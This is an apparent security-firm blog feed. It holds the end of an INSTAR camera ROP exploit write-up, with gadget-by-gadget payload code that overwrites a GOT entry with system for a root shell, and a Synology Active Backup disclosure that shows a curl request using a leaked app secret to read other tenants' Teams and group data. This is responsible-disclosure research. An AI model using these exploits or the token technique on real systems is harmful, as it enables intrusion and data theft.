</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r6</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r7</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r8</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># sb</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># sl</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># fp</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>As a next step we have a gadget that moves r6 into r0. So we move the calculated address (= <code>system</code>) into r0. Also, we prepare the r4 register for the next step. To deal with the side effects of this gadget some more padding is added.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">r0</span> <span class="o">=</span> <span class="n">r6</span> <span class="o">=</span> <span class="n">system</span>
</span></span><span class="line"><span class="cl"><span class="n">sp</span> <span class="o">=</span> <span class="n">sp</span> <span class="o">+</span> <span class="mh">0x3c</span>
</span></span><span class="line"><span class="cl"><span class="n">r4</span> <span class="o">=</span> <span class="n">ISALNUM_GOT</span> <span class="o">-</span> <span class="mi">4</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Finally, we reach the gadget that writes our calculated <code>system</code> address back to the GOT.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 0x0002a3f8: str r0, [r4, #4]; pop {r4, r5, r6, pc};</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x2a3f8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r4</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r5</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">ISALNUM_PLT</span><span class="p">)</span> <span class="c1"># r6</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>To our convenience it also allows us to write <code>isalnum@plt</code> to r6.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">*</span><span class="p">(</span><span class="n">r4</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">)</span> <span class="o">=</span> <span class="n">r0</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ISALNUM_GOT</span> <span class="o">-</span> <span class="mh">0x4</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">)</span> <span class="o">=</span> <span class="n">system</span>
</span></span><span class="line"><span class="cl"><span class="n">r6</span> <span class="o">=</span> <span class="n">ISALNUM_PLT</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>From here there isn&rsquo;t much left to do. We move the stack pointer into r0 (first argument) and then call r6 which we previously populated with the address of <code>system</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 0x0001fb04: mov r0, sp; blx r6;</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x1fb04</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">CMD</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Let&rsquo;s test things out:</p>
<figure>
<img src="/static/no-leak-no-problem/shell.png" style="border:0;max-height:80vh">
    <figcaption>
        <h4>Final exploit to gain a root shell on target device</h4>
    </figcaption>
</figure>
<p>RCE!</p>
<h3 id="why-didnt-you-just--">Why Didn&rsquo;t You Just &hellip; ?</h3>
<p>Attentive readers might have noticed this is a 32-bit binary, so why not just brute-force the address of <code>system()</code>? This was indeed possible because the address space for 32-bit systems is significantly less than for 64-bit therefore the number of possible locations of libc is also a lot smaller. I used this approach for the first version of the exploit which worked fine. However, while probing for the correct address the exploit keeps crashing the target binary. If we think about a red team scenario this approach would be very noisy and should therefore be avoided. That&rsquo;s why I decided to work out a more reliable exploit.</p>
<h2 id="wrapping-up">Wrapping Up</h2>
<p>We&rsquo;ve now walked the full path from firmware extraction and analysis, through vulnerability identification, and exploitation. I hope reading this was as enjoyable for you as the actual research was for me.</p>
<p>All vulnerabilities discovered during this research were reported through a responsible-disclosure process. Thanks to INSTAR for their prompt response, they fixed the issues and released an update within a short period of time. The 90-day disclosure period has elapsed, and along with this write-up the exploit is now publicly available <a href="https://github.com/born0monday/CVE-2025-8760/tree/main">here</a>.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Shodan INSTAR Search - <a href="https://www.shodan.io/search?query=http.favicon.hash%3A-1748763891">https://www.shodan.io/search?query=http.favicon.hash%3A-1748763891</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>INSTAR Wiki: Restore Firmware - <a href="https://wiki.instar.com/en/Advanced_User/Restore_Firmware/">https://wiki.instar.com/en/Advanced_User/Restore_Firmware/</a>)&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>boofuzz Fuzzing Framework - <a href="https://github.com/jtpereyda/boofuzz">https://github.com/jtpereyda/boofuzz</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>INSTAR Advisory - <a href="https://modzero.com/static/MZ-25-03_modzero_INSTAR.pdf">https://modzero.com/static/MZ-25-03_modzero_INSTAR.pdf</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>ROPing our way to RCE - <a href="https://modzero.com/en/blog/roping-our-way-to-rce/">https://modzero.com/en/blog/roping-our-way-to-rce/</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>CTF Handbook Relocation Read-Only - <a href="https://ctf101.org/binary-exploitation/relocation-read-only/">https://ctf101.org/binary-exploitation/relocation-read-only/</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Cybersecurity Notes PLT and GOT - <a href="https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got">https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>angrop - <a href="https://github.com/angr/angrop">https://github.com/angr/angrop</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>Ropper - <a href="https://github.com/sashs/Ropper">https://github.com/sashs/Ropper</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>[MZ-25-03] INSTAR 2K+ and 4K Series</title><link>https://modzero.com/en/advisories/mz-25-03-instar/</link><pubDate>Tue, 12 Aug 2025 08:00:00 +0200</pubDate><author>Michael Imfeld</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-25-03-instar/</guid><description>Unauthenticated Remote Code Execution (RCE) in INSTAR 2K+ and 4K Series IP cameras</description><content:encoded>&lt;p>The full disclosure report can be found &lt;a href="/static/MZ-25-03_modzero_INSTAR.pdf">here&lt;/a>.&lt;/p>
</content:encoded></item><item><title>When Backups Open Backdoors: Accessing Sensitive Cloud Data via "Synology Active Backup for Microsoft 365"</title><link>https://modzero.com/en/blog/when-backups-open-backdoors-synology-active-backup-m365/</link><pubDate>Fri, 27 Jun 2025 17:00:00 +0000</pubDate><author>Leonid Hartmann</author><category>disclosure</category><guid>https://modzero.com/en/blog/when-backups-open-backdoors-synology-active-backup-m365/</guid><description>A credential leaked by Synology allowed anyone unauthorized access to sensitive data of all Microsoft cloud tenants using &amp;ldquo;Active Backup for Microsoft 365&amp;rdquo; (ABM).</description><content:encoded><![CDATA[<h2 id="tldr">TL;DR</h2>
<p>We discovered a leaked credential that allowed anyone unauthorized access to all Microsoft tenants of organizations that use Synology&rsquo;s <a href="https://www.synology.com/en-global/dsm/feature/active_backup_office365">&ldquo;Active Backup for Microsoft 365&rdquo;</a> (ABM). This flaw could be leveraged by malicious actors to obtain potentially sensitive information — such as all messages in Microsoft Teams channels. It was reported to Synology and tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2025-4679">CVE-2025-4679</a>.</p>
<p>This blog post contains the full technical walk-through and discovery of the vulnerability, its impact, and our experience during the responsible disclosure process with Synology.</p>
<p>The standalone disclosure report is available on our <a href="https://modzero.com/en/advisories/mz-25-02-synology-active-backup-m365/">advisory page</a> and potential Indicators of Compromise (IoC) are provided <a href="/en/blog/when-backups-open-backdoors-synology-active-backup-m365/#indicators-of-compromise">in a dedicated section</a> further below.</p>
<hr>
<h2 id="background">Background</h2>
<p>During a red-team engagement against a customer&rsquo;s Microsoft Entra tenant and Azure infrastructure we came across an application named <a href="https://www.synology.com/en-global/dsm/feature/active_backup_office365">&ldquo;Synology Active Backup for M365&rdquo;</a>.</p>
<p>The application had broad permissions — such as read access to all groups and Microsoft Teams channel messages — making it an ideal target to obtain information that may be useful for further attacks (i.e. credential abuse or <a href="https://www.microsoft.com/en-us/microsoft-365-life-hacks/privacy-and-safety/what-is-social-engineering">social engineering</a>).</p>
<p>To analyze it, we created our own lab environment consisting of a <a href="https://developer.microsoft.com/en-us/microsoft-365/dev-program">Microsoft sandbox tenant</a> and the ABM add-on installed within Synology&rsquo;s <a href="https://www.synology.com/en-us/dsm">DiskStation Manager</a> (DSM) operating system. For research purposes it is not necessary to have a Synology NAS appliance, as the entire OS can be <a href="https://github.com/vdsm/virtual-dsm">virtualized via Docker</a>.
We also built some tools along the way, which can be helpful to reverse engineer <a href="https://archive.synology.com/download/Package/">DSM add-on packages</a>. We will share them for other security researchers on <a href="https://github.com/modzero/">our GitHub</a> soon.</p>
<h3 id="about-abm">About ABM</h3>
<p>Synology is best known for its network-attached storage (NAS) solutions, marketed as backup servers for private or business use. &ldquo;Active Backup for Microsoft 365&rdquo; (ABM) is their free software add-on developed for the DSM. It offers integration with Microsoft services, such as OneDrive, SharePoint, Exchange Online and Microsoft Teams, to perform automated backups. With over 1.2 million installations, the add-on sees broad adoption among organizations that are transitioning to cloud-based workloads.</p>
<figure><img src="/static/synology-abm365/abm365-package-center-addon.png"><figcaption>
      <h4>Synology DSM Package Center – ABM add-on page</h4>
    </figcaption>
</figure>

<h4 id="setup">Setup</h4>
<p>After installing ABM, the user is guided through a setup wizard, which is designed to link the NAS instance to their respective Microsoft tenant. This is the most interesting aspect of the <a href="https://kb.synology.com/en-uk/DSM/tutorial/Quick_Start_Active_Backup_for_Microsoft_365">setup process</a>, as it facilitates the access to an organization&rsquo;s data in the cloud.</p>
<p>High-level setup procedure:</p>
<ol>
<li><strong>Login &amp; Consent</strong> – The wizard sends the user to the Microsoft login portal where they sign in, and are prompted to grant admin consent for ABM&rsquo;s requested permissions within the tenant.</li>
</ol>
<figure><img src="/static/synology-abm365/abm365-entra-app-admin-consent.png"><figcaption>
      <h4>ABM permissions admin consent prompt for the organization</h4>
    </figcaption>
</figure>

<ol start="2">
<li><strong>Handoff</strong> – After confirmation, an OAuth login through the ABM application is performed. Microsoft hands off the user and their resulting authorization details (the auth code) to a Synology middleware service, which then forwards everything back to the user&rsquo;s NAS instance.</li>
</ol>
<figure><img src="/static/synology-abm365/synooauth-middleware-nas-redirect.png"><figcaption>
      <h4>Synology middleware (&#34;SynoOauth&#34;) – NAS instance redirect prompt [redacted for display]</h4>
    </figcaption>
</figure>

<ol start="3">
<li><strong>Finalization</strong> – The ABM add-on on the NAS exchanges the user&rsquo;s authorization details for a Microsoft Graph API scoped access token at the organization&rsquo;s Microsoft OAuth endpoint to finalize the setup.</li>
</ol>
<figure><img src="/static/synology-abm365/abm365-setup-overview.png"><figcaption>
      <h4>General ABM setup overview</h4>
    </figcaption>
</figure>

<p><em>Sidenote: The user is also required to activate the add-on with their Synology account after installation as part of the setup procedure, for which further details are skipped in this post.</em></p>
<h2 id="technical-concepts--context">Technical Concepts &amp; Context</h2>
<p>Before diving into the details of the vulnerability, let&rsquo;s take a step back and cover a few basics related to the <a href="https://learn.microsoft.com/en-us/graph/auth/auth-concepts">authentication concepts of Microsoft Entra</a>.</p>
<h3 id="identities-applications-and-permissions">Identities, Applications, and Permissions</h3>
<p>The ABM add-on leverages the <a href="https://learn.microsoft.com/en-us/entra/identity-platform/v2-overview">Microsoft identity platform</a>, allowing companies like Synology to publish Software-as-a-Service (SaaS) applications that users access through their Microsoft account. These accounts are managed by the dedicated Microsoft tenant of an organization, which is a trusted cloud instance of <a href="https://www.microsoft.com/en-us/security/business/identity-access/microsoft-entra-id">Microsoft Entra ID</a>. Each tenant stores and manages all organizational data across Microsoft 365 services, like Microsoft Teams.</p>
<p>ABM is published as a <em>multi-tenant application</em> by the Synology tenant, enabling other organizations to &ldquo;install&rdquo; it within their own. The application properties, such as authentication settings, are globally defined by the &ldquo;app registration&rdquo; of the publishing tenant. Whereas each consuming tenant maintains a local representation known as a &ldquo;service principal&rdquo; — determining the application&rsquo;s effective permissions within that tenant.</p>
<figure><img src="/static/synology-abm365/entra-abm-multitenant-app-concept.png"><figcaption>
      <h4>Simplified Microsoft Entra multi-tenant application concept (ABM)</h4>
    </figcaption>
</figure>

<p>Permissions granted through consent — either by individual users or the organization&rsquo;s administrators — determine the actions an application can perform against APIs such as <a href="https://learn.microsoft.com/en-us/graph/traverse-the-graph">Microsoft Graph</a>. These permissions can be of type <em>delegated</em> (signed-in user required) or <em>application</em> (may act independently). Therefore, authenticating as either a user or the service principal of an application grants access to the tenant&rsquo;s protected data.
ABM is configured to request both types of permissions, including privileged access such as reading <a href="https://graphpermissions.merill.net/permission/Group.Read.All?tabs=apiv1%2CadministrativeUnit1"><strong>details of every group</strong></a> (<code>Group.Read.All</code>) as well as <a href="https://graphpermissions.merill.net/permission/ChannelMessage.Read.All?tabs=apiv1%2CaiInteraction1"><strong>all Microsoft Teams channel messages</strong></a> (<code>ChannelMessage.Read.All</code>) via application permissions. As such, when ABM is setup for the first time, an organization&rsquo;s administrator must grant those requested permissions for their entire tenant.</p>
<p>However, we will later learn why granting those privileges to ABM is a <strong>fatal mistake</strong>.</p>
<h3 id="authentication">Authentication</h3>
<p>After ABM is installed and consented to within the tenant, an <a href="https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow">OAuth authorization code flow</a> login through the application is performed. This lets third-party applications authorize the logged-in user against the configured APIs via an authorization code issued by Microsoft. This code is then relayed to the ABM add-on on the respective NAS instance where the setup was initiated from.</p>
<p>Now, you might still be wondering how it is determined as to where exactly the authorization details should be returned to in the first place. As noted earlier, the setup process involves a middleware component that acts as a broker between Microsoft and the NAS instance. When the OAuth flow is initiated, the location of the NAS (DNS hostname) is included as part of the redirect URL. After successful authentication, Microsoft forwards the user to the aforementioned Synology middleware service (a web application at <code>synooauth.synology.com</code>), which uses the URL to facilitate the hand off to the NAS instance.</p>
<h3 id="data-access">Data Access</h3>
<p>After receiving the authorization details, the ABM add-on exchanges it for access tokens at the respective user&rsquo;s tenant. This allows the user to complete the setup procedure as <a href="https://kb.synology.com/en-uk/DSM/tutorial/How_to_register_an_Azure_AD_app_M365">per documentation</a>, by following up with registering a <em>dedicated</em> app registration within the organization <em>on behalf of the authenticated user</em>. Subsequently the actual backup tasks are performed through this access.</p>
<h2 id="the-vulnerability">The Vulnerability</h2>
<p>With these technical concepts in mind, we can get to the actual vulnerability. The flaw itself is surprisingly trivial, and specifically involves the <em>granted application permissions</em> of ABM and the <em>Synology middleware component</em> (SynoOauth) utilized during the setup process.</p>
<p>In our analysis of ABM we examined our browser&rsquo;s network traffic during the setup, and noticed something peculiar in the HTTP response of the redirect from the middleware component to our NAS instance:</p>
<figure>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="cl"><span class="kr">HTTP</span><span class="o">/</span><span class="m">2</span> <span class="m">302</span> <span class="ne">Found</span>
</span></span><span class="line"><span class="cl"><span class="n">Location</span><span class="o">:</span> <span class="l">[...]/activebackupoffice365-cgi.cgi?action=oauth</span>
</span></span><span class="line"><span class="cl">          <span class="l">&amp;graph_refresh_token=1.Aa4ABLPUicJgkEm4oYYv[...]</span>
</span></span><span class="line"><span class="cl">          <span class="l">&amp;resource=https%3A%2F%2Fgraph.microsoft.com</span>
</span></span><span class="line"><span class="cl">          <span class="l">&amp;client_id=b4f234da-3a1a-4f4d-a058-23ed08928904</span>
</span></span><span class="line"><span class="cl">          <span class="l">&amp;client_secret=ARI8Q%7EsHOuwMoX.[...]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><figcaption>SynoOauth middleware – HTTP 302 response redirect containing OAuth information [truncated and redacted for display]</figcaption>
</figure>
<p>Did you spot it? The response includes several parameters within the <code>Location</code> header, one of which is a value for <code>client_secret</code>. But we logged in to ABM through a user account of our Microsoft tenant using <em>OAuth code flow</em>, why would there be a <em>secret credential</em> for an <em>application</em>?</p>
<figure><img src="/static/synology-abm365/abm365-setup-flaw.png"><figcaption>
      <h4>Secret credential exposed in response redirect of SynoOauth middleware during ABM setup</h4>
    </figcaption>
</figure>

<p>We initially assumed that we might have overlooked a network request — which would register an application with client credentials within our tenant — but we were surprised that this was not the case.
Remember, the full installation procedure does in fact mandate creating an app registration within the user&rsquo;s tenant, but this is not initiated until the flow reaches the NAS instance to complete the setup.</p>
<p>When we verified that there was no such application created within our lab tenant, an uneasy feeling came over us that the exposed secret might belong to something else&hellip;</p>
<h3 id="discovery">Discovery</h3>
<p>To test whether the credential was actually valid at all, we sent the following HTTP request to obtain an access token for the ABM service principal from our tenant&rsquo;s OAuth endpoint:</p>
<figure>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="hl"><span class="lnt">3
</span></span><span class="hl"><span class="lnt">4
</span></span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">curl -X POST https://login.microsoftonline.com/&lt;TENANT_ID&gt;/oauth2/v2.0/token <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>     -d <span class="s2">&#34;grant_type=client_credentials&#34;</span> <span class="se">\
</span></span></span><span class="line hl"><span class="cl"><span class="se"></span>     -d <span class="s2">&#34;client_id=b4f234da-3a1a-4f4d-a058-23ed08928904&#34;</span> <span class="se">\
</span></span></span><span class="line hl"><span class="cl"><span class="se"></span>     -d <span class="s2">&#34;client_secret=ARI8Q%7EsHOuwMoX.[...]&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>     -d <span class="s2">&#34;scope=https://graph.microsoft.com/.default&#34;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><figcaption>cURL command demonstrating the <a href="https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-client-creds-grant-flow">"OAuth client credentials grant flow"</a> to retrieve a Microsoft Graph API access token for the ABM service principal using the client credentials [redacted for display]</figcaption>
</figure>
<p>And&hellip; we were surprised that it worked:</p>
<figure>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="hl"><span class="lnt">11
</span></span><span class="hl"><span class="lnt">12
</span></span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;aud&#34;</span><span class="p">:</span> <span class="s2">&#34;https://graph.microsoft.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;iss&#34;</span><span class="p">:</span> <span class="s2">&#34;https://sts.windows.net/&lt;TENANT_ID&gt;/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="err">[...]</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;app_displayname&#34;</span><span class="p">:</span> <span class="s2">&#34;Synology Active Backup for M365&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;appid&#34;</span><span class="p">:</span> <span class="s2">&#34;b4f234da-3a1a-4f4d-a058-23ed08928904&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="err">[...]</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;idtyp&#34;</span><span class="p">:</span> <span class="s2">&#34;app&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="err">[...]</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;roles&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line hl"><span class="cl">        <span class="s2">&#34;Group.Read.All&#34;</span><span class="p">,</span>
</span></span><span class="line hl"><span class="cl">        <span class="s2">&#34;ChannelMessage.Read.All&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="err">[...]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><figcaption>Access token (JWT) showing granted application permissions for Microsoft Graph confirming validity of the secret credential [base64-decoded and truncated for display]</figcaption>
</figure>
<h3 id="impact">Impact</h3>
<p>So, what does this mean? Remember that we went through the concept of multi-tenancy and permissions earlier, and that by default, ABM requests tenant-wide application permissions to access all Teams channel conversations and group data.</p>
<p>Well what if the secret is not actually a credential for a <em>service principal in our tenant</em> but that of the <em>app registration in Synology&rsquo;s tenant</em>? To verify this, we also tried the credentials with the tenant of our customer during the red-team engagement (to which we had only guest-level access up until that point), which shockingly worked just the same.</p>
<p>And indeed, it turns out that the credential belonged to Synology&rsquo;s ABM <em>global</em> app registration in <em>their</em> Microsoft tenant. What&rsquo;s even worse is that this means that their middleware service had been inadvertently exposing this credential during <em>every setup</em>.</p>
<p>As previously mentioned, the add-on had been installed over <em>a million times</em>, meaning that we had <strong>discovered a serious backdoor</strong> into <em>a lot</em> of <strong>organization&rsquo;s Microsoft tenants</strong> and their <strong>cloud data</strong> through the Synology published application. This ultimately allowed broad read-only access to:</p>
<ul>
<li>List and read all groups and their properties, including memberships and their Microsoft 365 content such as Outlook conversations, calendar and events, etc.</li>
<li>List and read all public and private Teams channel messages (not group chats), including replies and embedded content such as images or cards</li>
</ul>
<figure><img src="/static/synology-abm365/abm365-app-secret-exploitation.png"><figcaption>
      <h4>Attack scenario leveraging the ABM application secret to access an organization&#39;s cloud data</h4>
    </figcaption>
</figure>

<p>One could also imagine scenarios where malicious actors exploit such access for industrial espionage, ransomware preparation, or selling sensitive data on underground forums.</p>
<p>Crucially, exploitation requires <strong>no prior foothold</strong> in any target&rsquo;s Microsoft tenant, as simply observing the leaked secret from the SynoOauth middleware <em>once</em> is sufficient. Thus, for an unknown period of time, <strong>anyone could have obtained this secret</strong> to compromise organizations that use ABM.</p>
<p><em>Sidenote: What&rsquo;s even more confusing is that the secret is never actually used within the setup, whether in the tenant nor add-on in DSM.</em></p>
<h2 id="the-cloud">The Cloud</h2>
<p>Before we dissect the disclosure process, it is worth pausing to reflect on what this tells us about cloud-based services.</p>
<p>Cloud providers and managed solutions promise advantages like easier server hosting and running certain services, yet this convenience often substitutes the complexity of <em>operating</em> with that of <em>configuring</em> (i.e. securing) everything correctly. This complexity increases with the number of components that you integrate, which inherently expands your attack surface. Supply-chain issues, like the one discussed in this blog post, are a textbook example of how this is becoming increasingly prevalent.
For that reason, it is important to ensure that you do your best in all aspects over which you still have control; such as implementing appropriate logging, monitoring, and detection capabilities across the organization, as well as realizing the <a href="https://learn.microsoft.com/en-us/azure/security/fundamentals/shared-responsibility">shared-responsibility model</a>.</p>
<p>Managed cloud services differ substantially from traditional, self-hosted solutions, primarily because vulnerability disclosure is often opaque or absent. Since the vendor is responsible for fixing any issues, users often remain unaware of vulnerabilities that may exist or have existed. This might seem desirable from a customer point of view, but it feeds into a bigger issue.
When vendors silently update, their users will never learn that they were vulnerable in the first place, as they did not (have to) disclose that. Additionally, there would be no way to properly evaluate the vendor&rsquo;s security posture, i.e. by how many vulnerabilities there have been in the past, especially concerning how long it took to fix them. This typically means that no CVE is assigned specifically in cases of cloud vulnerabilities.</p>
<p>Recognizing this, industry leaders such as Microsoft have started <a href="https://msrc.microsoft.com/blog/2024/06/toward-greater-transparency-unveiling-cloud-service-cves/">advocating for greater transparency</a> by calling upon providers to disclose vulnerabilities even in fully managed cloud-based scenarios.
We share this sentiment and have explicitly requested Synology (<a href="https://www.synology.com/en-ca/security#:~:text=CVE%20Numbering%20Authority">an authorized CNA</a>) to assign a CVE during our disclosure. Synology seemingly concurred and assigned <a href="https://www.cve.org/CVERecord?id=CVE-2025-4679">CVE-2025-4679</a> for the vulnerability. We want to <em>highly commend</em> them at that point, but the subsequent disclosure process is unfortunately where the good part ends&hellip;</p>
<h2 id="disclosure">Disclosure</h2>
<p>Following our standard <a href="https://modzero.com/static/modzero_Disclosure_Policy.pdf">vulnerability disclosure process and policy</a>, we reported our finding to Synology on April 4th 2025, while also explicitly requesting CVE assignment. They acknowledged and confirmed the vulnerability and informed us that <code>CVE-2025-3695</code> (note: a different one at first) had been reserved, while also working on a fix. However, from here on the communication mainly involved discussions about the discrepancies in the assessment of severity and scope.</p>
<p>In a follow up email, Synology had determined the details of the CVE and stated that they had come up with a CVSS score of <code>6.5</code> (severity <code>&quot;Moderate&quot;</code>), a big step down from our proposed <code>8.6</code> (severity <code>&quot;High&quot;</code>). The main difference in their calculation being the metrics &ldquo;privileges required&rdquo; (PR) from <code>None</code> to <code>Low</code>, and the &ldquo;scope&rdquo; (S) from <code>Changed</code> to <code>Unchanged</code>.
We explained that these changes did not reflect our assessment of the issue, which made us question whether the vulnerability was understood correctly by Synology in the first place. This doubt was further raised by the bug bounty amount they wanted to &ldquo;reward&rdquo; us, as they initially assumed that our report was submitted as part of their <a href="https://www.synology.com/en-uk/security/bounty_program">Security Bug Bounty Program</a>. However, since we generally deny accepting the restrictive nature of bug bounty conditions (i.e. restriction of publication), we clarified that we submitted following industry practice responsible disclosure, and declined their offer of <em>~$417</em> for the report.</p>
<p>We further emphasized that it is trivial to obtain the secret, as an attacker does not require any &ldquo;special&rdquo; privileges for neither Synology&rsquo;s middleware component nor any target&rsquo;s Microsoft tenant. This circumstance clearly demonstrates the <a href="https://www.first.org/cvss/v3-1/specification-document#2-2-Scope-S">&ldquo;Scope: Changed&rdquo; metric</a>, as the exploited vulnerability affects data within entirely different security boundaries — namely all organizations&rsquo; Microsoft tenants, not just Synology’s own systems.</p>
